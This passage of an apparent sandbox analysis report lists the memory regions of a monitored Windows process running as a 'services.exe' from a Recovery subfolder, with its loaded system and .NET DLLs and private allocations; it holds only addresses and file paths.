0x7fef8068fff monitored = 1 entry_point = 0x7fef7fc1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7823 start_va = 0x7fefa890000 end_va = 0x7fefa892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 7953 start_va = 0x7fefdef0000 end_va = 0x7fefdf60fff monitored = 0 entry_point = 0x7fefdf01e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7954 start_va = 0x7fefdce0000 end_va = 0x7fefdd46fff monitored = 0 entry_point = 0x7fefdceb03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7955 start_va = 0x77710000 end_va = 0x77809fff monitored = 0 entry_point = 0x7772a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7956 start_va = 0x7feffa70000 end_va = 0x7feffa7dfff monitored = 0 entry_point = 0x7feffa71080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7957 start_va = 0x7feff340000 end_va = 0x7feff408fff monitored = 0 entry_point = 0x7feff3ba874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 7979 start_va = 0x2d0000 end_va = 0x2f8fff monitored = 0 entry_point = 0x2d1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7980 start_va = 0x6e0000 end_va = 0x867fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7981 start_va = 0x2d0000 end_va = 0x2f8fff monitored = 0 entry_point = 0x2d1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7982 start_va = 0x7fefdcb0000 end_va = 0x7fefdcddfff monitored = 0 entry_point = 0x7fefdcb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7983 start_va = 0x7feff410000 end_va = 0x7feff518fff monitored = 0 entry_point = 0x7feff411064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 8043 start_va = 0x870000 end_va = 0x9f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000870000" filename = "" Region: id = 8044 start_va = 0x1340000 end_va = 0x273ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001340000" filename = "" Region: id = 8045 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 8046 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 8047 start_va = 0xa00000 end_va = 0xad0fff monitored = 1 entry_point = 0xacf1ee region_type = mapped_file name = "services.exe" filename = "\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe") Region: id = 8074 start_va = 0xa00000 end_va = 0xad0fff monitored = 1 entry_point = 0xacf1ee region_type = mapped_file name = "services.exe" filename = "\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe") Region: id = 8075 start_va = 0x7fefc920000 end_va = 0x7fefc92bfff monitored = 0 entry_point = 0x7fefc921064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8281 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8292 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8381 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8383 start_va = 0x7fef3f00000 end_va = 0x7fef3f15fff monitored = 0 entry_point = 0x7fef3f0c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8384 start_va = 0x7fef3e40000 end_va = 0x7fef3efcfff monitored = 0 entry_point = 0x7fef3ec7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8385 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 8386 start_va = 0x2d0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 8387 start_va = 0x2e0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 8388 start_va = 0x7fe948f0000 end_va = 0x7fe948fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948f0000" filename = "" Region: id = 8389 start_va = 0x7fe94900000 end_va = 0x7fe9490ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94900000" filename = "" Region: id = 8390 start_va = 0x7fe94910000 end_va = 0x7fe9499ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94910000" filename = "" Region: id = 8391 start_va = 0x7fe949a0000 end_va = 0x7fe94a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949a0000" filename = "" Region: id = 8392 start_va = 0x2f0000 end_va = 0x2f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 8393 start_va = 0x300000 end_va = 0x300fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 8394 start_va = 0xa00000 end_va = 0xb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 8395 start_va = 0xba0000 end_va = 0xd2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ba0000" filename = "" Region: id = 8396 start_va = 0xe80000 end_va = 0xf7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e80000" filename = "" Region: id = 8397 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 8398 start_va = 0x390000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 8399 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 8400 start_va = 0x2740000 end_va = 0x1a73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002740000" filename = "" Region: id = 8401 start_va = 0x1a740000 end_va = 0x1aabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a740000" filename = "" Region: id = 8402 start_va = 0xa00000 end_va = 0xb00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 8403 start_va = 0xb20000 end_va = 0xb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 8404 start_va = 0x1040000 end_va = 0x113ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001040000" filename = "" Region: id = 8405 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 8407 start_va = 0xba0000 end_va = 0xc9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ba0000" filename = "" Region: id = 8408 start_va = 0xcb0000 end_va = 0xd2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cb0000" filename = "" Region: id = 8409 start_va = 0x1abb0000 end_va = 0x1acaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abb0000" filename = "" Region: id = 8410 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 8437 start_va = 0x1acb0000 end_va = 0x1af7efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8711 start_va = 0x7fef2840000 end_va = 0x7fef3e3cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8756 start_va = 0x7fefe060000 end_va = 0x7fefe262fff monitored = 0 entry_point = 0x7fefe083330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8757 start_va = 0x390000 end_va = 0x40cfff monitored = 0 entry_point = 0x39cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8758 start_va = 0x390000 end_va = 0x40cfff monitored = 0 entry_point = 0x39cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8759 start_va = 0x7fefd690000 end_va = 0x7fefd69efff monitored = 0 entry_point = 0x7fefd691010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8795 start_va = 0x7fefc0b0000 end_va = 0x7fefc105fff monitored = 0 entry_point = 0x7fefc0bbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8796 start_va = 0xd30000 end_va = 0xe5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d30000" filename = "" Region: id = 8867 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8868 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8869 start_va = 0x7fe94a10000 end_va = 0x7fe94a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a10000" filename = "" Region: id = 8902 start_va = 0x7fe94a90000 end_va = 0x7fe94a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a90000" filename = "" Region: id = 8903 start_va = 0x7fe94aa0000 end_va = 0x7fe94aaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94aa0000" filename = "" Region: id = 8922 start_va = 0x7fef7460000 end_va = 0x7fef7462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8937 start_va = 0x7fef5450000 end_va = 0x7fef559efff monitored = 1 entry_point = 0x7fef5451090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8948 start_va = 0x390000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 8978 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 8979 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 8980 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 9009 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 9024 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 9039 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 9057 start_va = 0x1af80000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af80000" filename = "" Region: id = 9075 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 9116 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 9117 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 9118 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 9135 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 9136 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 9160 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 9181 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 9196 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 9204 start_va = 0x3a0000 end_va = 0x401fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9233 start_va = 0x1000000 end_va = 0x103ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001000000" filename = "" Region: id = 9234 start_va = 0x1b280000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 9235 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 9236 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 9305 start_va = 0x1af90000 end_va = 0x1b08ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af90000" filename = "" Region: id = 9306 start_va = 0x1b130000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b130000" filename = "" Region: id = 9307 start_va = 0x7fefd070000 end_va = 0x7fefd087fff monitored = 0 entry_point = 0x7fefd073b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9308 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9309 start_va = 0x450000 end_va = 0x494fff monitored = 0 entry_point = 0x451064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9310 start_va = 0x450000 end_va = 0x494fff monitored = 0 entry_point = 0x451064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9311 start_va = 0x450000 end_va = 0x494fff monitored = 0 entry_point = 0x451064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9312 start_va = 0x450000 end_va = 0x494fff monitored = 0 entry_point = 0x451064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9313 start_va = 0x450000 end_va = 0x494fff monitored = 0 entry_point = 0x451064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9314 start_va = 0x7fefcd70000 end_va = 0x7fefcdb6fff monitored = 0 entry_point = 0x7fefcd71064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9315 start_va = 0x7fefd740000 end_va = 0x7fefd753fff monitored = 0 entry_point = 0x7fefd7410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9507 start_va = 0x1160000 end_va = 0x125ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001160000" filename = "" Region: id = 9508 start_va = 0x1b480000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b480000" filename = "" Region: id = 9509 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9510 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9534 start_va = 0x410000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 9542 start_va = 0x1b650000 end_va = 0x1b74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b650000" filename = "" Region: id = 9543 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9557 start_va = 0x7fef1bd0000 end_va = 0x7fef283efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9568 start_va = 0x7fef5250000 end_va = 0x7fef5444fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9583 start_va = 0x7fef0b20000 end_va = 0x7fef1bc5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9605 start_va = 0x410000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 9616 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 9654 start_va = 0x7fef8940000 end_va = 0x7fef8955fff monitored = 1 entry_point = 0x7fef894e5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9655 start_va = 0x1b750000 end_va = 0x1ba21fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 9656 start_va = 0x410000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 9657 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 9658 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 9659 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9660 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 9751 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 9752 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 9753 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9754 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 9755 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 9756 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 9757 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 9758 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 9759 start_va = 0x600000 end_va = 0x60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 9760 start_va = 0x610000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 9761 start_va = 0x620000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 9762 start_va = 0x630000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 9919 start_va = 0x640000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 9920 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 9921 start_va = 0xb10000 end_va = 0xb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 10008 start_va = 0xca0000 end_va = 0xcaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ca0000" filename = "" Region: id = 10009 start_va = 0xd30000 end_va = 0xd3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d30000" filename = "" Region: id = 10010 start_va = 0xde0000 end_va = 0xe5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000de0000" filename = "" Region: id = 10011 start_va = 0xd40000 end_va = 0xd4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d40000" filename = "" Region: id = 10012 start_va = 0xd50000 end_va = 0xd5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 10013 start_va = 0xd60000 end_va = 0xd6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d60000" filename = "" Region: id = 10014 start_va = 0xd70000 end_va = 0xd7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d70000" filename = "" Region: id = 10015 start_va = 0xd80000 end_va = 0xd8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d80000" filename = "" Region: id = 10132 start_va = 0xd90000 end_va = 0xd9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d90000" filename = "" Region: id = 10133 start_va = 0xda0000 end_va = 0xdaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000da0000" filename = "" Region: id = 10134 start_va = 0xdb0000 end_va = 0xdbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000db0000" filename = "" Region: id = 10135 start_va = 0xdc0000 end_va = 0xdcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dc0000" filename = "" Region: id = 10136 start_va = 0xdd0000 end_va = 0xddffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 10137 start_va = 0xe60000 end_va = 0xe6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e60000" filename = "" Region: id = 10138 start_va = 0xe70000 end_va = 0xe7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e70000" filename = "" Region: id = 10139 start_va = 0xf80000 end_va = 0xf8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f80000" filename = "" Region: id = 10140 start_va = 0xf90000 end_va = 0xf9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f90000" filename = "" Region: id = 10141 start_va = 0xfa0000 end_va = 0xfaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fa0000" filename = "" Region: id = 10142 start_va = 0xfb0000 end_va = 0xfbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fb0000" filename = "" Region: id = 10143 start_va = 0xfc0000 end_va = 0xfcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fc0000" filename = "" Region: id = 10144 start_va = 0xfd0000 end_va = 0xfdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fd0000" filename = "" Region: id = 10145 start_va = 0xfe0000 end_va = 0xfeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fe0000" filename = "" Region: id = 10301 start_va = 0x470000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 10302 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 10303 start_va = 0x7fe94ab0000 end_va = 0x7fe94abffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94ab0000" filename = "" Region: id = 10357 start_va = 0x410000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 10358 start_va = 0x410000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 10359 start_va = 0x410000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 10412 start_va = 0x410000 end_va = 0x41ffff monitored = 1 entry_point = 